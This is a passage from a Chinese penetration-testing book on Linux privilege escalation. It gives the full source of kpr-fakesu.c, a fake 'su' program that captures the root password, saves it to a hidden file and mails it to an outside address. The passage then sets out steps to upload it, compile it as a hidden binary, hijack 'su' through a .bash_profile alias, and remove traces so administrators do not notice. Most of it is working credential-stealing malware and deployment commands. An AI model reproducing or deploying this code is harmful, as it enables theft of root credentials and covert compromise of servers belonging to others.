网络攻防实战研究:漏洞利用与提权
上QQ阅读APP看本书,新人免费读10天
设备和账号都新为新人

3.1 使用fakesu记录root用户的密码

在Linux渗透中,比较容易获取服务器上网站的WebShell。就目前的环境来说,Linux服务器提权比较困难。那么,如何在获取了WebShell权限的情况下,通过WebShell反弹到指定了独立IP地址的服务器上,并通过反弹的Shell安装程序捕获root用户的密码呢?本节就对已知的记录root用户密码的方法进行探讨。

3.1.1 使用kpr-fakesu.c记录root用户的密码

kpr-fakesu.c程序可用于记录root用户的密码。

1.kpr-fakesu.c程序源代码

kpr-fakesu.c程序的新版本为0.9beta167,是由koper开发的(koper@linuxmail.org),源代码如下。

        #include <stdio.h>
        #include <stdlib.h>
        main(int argc, char *argv[]){
        FILE *fp;
        char *user;
        char *pass;
        char filex[100];
        char clean[100];
        sprintf(filex, "/var/tmp/.mail");
        sprintf(clean, "rm  -rf  /var/tmp/.su; mv  -f  /home/webshell/.wgetrc  /home/
    webshell/.bash_profile");
        if(argc==1) user="root";
        if(argc==2) user=argv[1];
        if(argc>2){
        if(strcmp(argv[1], "-l")==0)
            user=argv[2];
        else user=argv[1]; }
        fprintf(stdout, "Password: "); pass=getpass ("");
        system("sleep 3");
        fprintf(stdout, "su: Authentication failure\nSorry.\n");
        if ((fp=fopen(filex, "w")) ! = NULL)
          {
          fprintf(fp, "%s:%s\n", user, pass);
          fclose(fp);
          }
        system(clean);
        system("rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su");
        system("uname   -a   >>   /var/tmp/.mail;   cat   /var/tmp/.mail   |   mail
    admin@antian365.com");
        }

2.运行前必须修改程序

运行该程序前,必须对程序进行修改,否则即使执行该程序也不会得到结果。在上面的程序代码中有3个地方需要修改,具体如下。

(1)修改密码记录的文件名称

在代码中修改sprintf(filex, "/var/tmp/.mail")函数。在该函数中默认生成的密码记录文件的后缀是“.mail”,可以将“.mail”修改为任意文件后缀(切记修改时一定要全部修改,以上代码中共有3处需要修改)。

(2)修改反弹Shell主目录

将“sprintf(clean, "rm-rf/var/tmp/.su; mv-f/home/webshell/.wgetrc/home/webshell/.bash_profile"); ”中的“/home/webshell”修改为实际用户的主目录名称(以上代码中有2处需要修改)。

(3)修改邮件发送地址

将“system("uname-a>>/var/tmp/.mail; cat/var/tmp/.mail | mail admin@antian365.com"); ”中的邮件地址修改为能够正常接收邮件的邮件地址。如果不需要接收邮件,可以将该行代码删除。

3.1.2 运行键盘记录程序

(1)将fakesu.c程序复制到用户目录下

如果具备SSH用户权限,可以通过SSH Secure Shell的文件传输功能将本地文件上传到服务器中,如图3-1所示。如果具备WebShell权限,也可以通过WebShell将fakesu.c程序上传到服务器中。如果是反弹的DOS命令提示符,则可以通过命令“wget http://www.somesite.com/fakesu.c”将其下载到服务器中。

图3-1 将代码上传到服务器

(2)再次检查源代码

使用“cat fakesu.c”命令查看程序源代码,确认之前提及的3个地方都已正确修改,如图3-2所示。

图3-2 检查源代码

(3)执行命令

执行如下命令。

        Chmod 777 fakesu.c
        gcc -o .su fakesu.c; rm -rf fakesu.c
        mv .su /var/tmp/.su
        cd ~
        cp .bash_profile  .wgetrc
        cp .bash_profile  .wgetrb
        echo "alias su=/var/tmp/.su">>.bash_profile
        Logout

· “Chmod 777 fakesu.c”表示使程序“fakesu.c”具有最高权限。

· “gcc-o .su fakesu.c; rm-rf fakesu.c”用于编译fakesu.c程序,生成.su文件,同时彻底删除fakesu.c程序。“rm-rf”用于在Linux中彻底删除文件及目录(不管目录中是否存在文件)。

· “cd~”用于转到当前Shell的主目录。

· “cp .bash_profile .wgetrb”用于将.bash_profile文件备份成.wgetrb文件。

· “echo "alias su=/var/tmp/.su">>.bash_profile”用于将用户登录的su命令指向“/var/tmp/.su”命令。

· “Logout”用于注销当前SSH Secure Shell登录命令。如果是反弹Shell,可以使用“exit”命令。执行命令后,如图3-3所示,编译fakesu.c程序时可能会出现警告信息“webadm.c:19:警告:赋值时将整数赋给指针,未作类型转换”,该警告信息不会影响程序的正常运行。

图3-3 执行命令

3.1.3 查看密码记录文件

根据fakesu.c程序中设置的密码记录文件可知,在本例中记录的文件为“/var/tmp/.pwds”。该文件默认为隐藏属性,可以直接通过命令“cat/var/tmp/.pwds”查看,如图3-4所示,记录的root用户的密码为“simeon”。

图3-4 获取root用户的密码

3.1.4 删除安装文件

当fakesu.c程序成功记录root用户的密码后,需要删除安装的程序文件,否则时间久了容易引起管理员的警觉。可以使用以下命令删除程序文件。

        rm -rf /var/tmp/.su
        cp  .wgetrb .bash_profile
        rm -rf .wgetrc
        rm -rf /var/tmp/.pwds